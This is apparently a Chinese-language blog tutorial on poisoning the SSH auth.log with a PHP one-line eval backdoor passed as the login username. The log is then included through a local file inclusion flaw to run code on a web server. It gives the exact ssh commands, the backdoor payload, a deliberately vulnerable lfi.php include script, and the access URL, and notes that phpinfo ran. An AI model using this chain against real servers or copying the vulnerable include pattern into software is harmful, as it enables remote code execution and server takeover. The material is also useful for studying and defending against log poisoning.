通过ssh日志对lfi漏洞进行投毒

环境描述

实现步骤

ssh会默认记录登录的日志,日志存放在

/var/log/auth.log

当我们进行正常登录的时候,如下:

ssh [email protected]

然后会提示输入密码

然后我们随便输入错误的密码,在我们本地测试的机器上看到如下日志:

是记录验证错误的日志
我们将登录的用户名换成一句话后门,有什么效果?使用以下命令进行测试。

ssh "<?php @eval($_POST['c']);?>"@192.168.1.111

然后和上面一样,是要随便输入密码,将错误信息保存到日志里面,然后我们再次查看日志

发现我们的一句话后门成功写入了日志,这时候我们将这个过程放到测试环境去尝试一下。
我在我博客根目录下面创建了一个名叫lfi.php的文件,内容如下:

<?php
$file=$_GET['file'];
if (isset($file))
    include("$file");
else
    include("sky.php")
?>

这是一个简单的lfi漏洞例子
然后我服务器开启了ssh日志记录,日志记录的位置也是默认的。
我们首先对服务器进行ssh连接。

ssh "<?php @eval($_POST['c']);?>"@www.03sec.com

密码随便输入,然后访问lfi漏洞页面

www.03sec.com/lfi.php?file=/var/log/auth.log

页面显示如下:

可以看到,输入的用户名

<?php @eval($_POST['c']);?>

没有进行显示,说明执行了。
然后使用一句话后门访问的方式进行POST访问,如下图

可以看到已经执行了phpinfo();

限制:

  • ssh 需要开启日志记录
  • 网站存在lfi漏洞
  • php 访问/var/log/auth.log 为可读
  • 或许还有其他限制?
最后修改:2021 年 11 月 22 日
如果觉得我的文章对你有用,请随意赞赏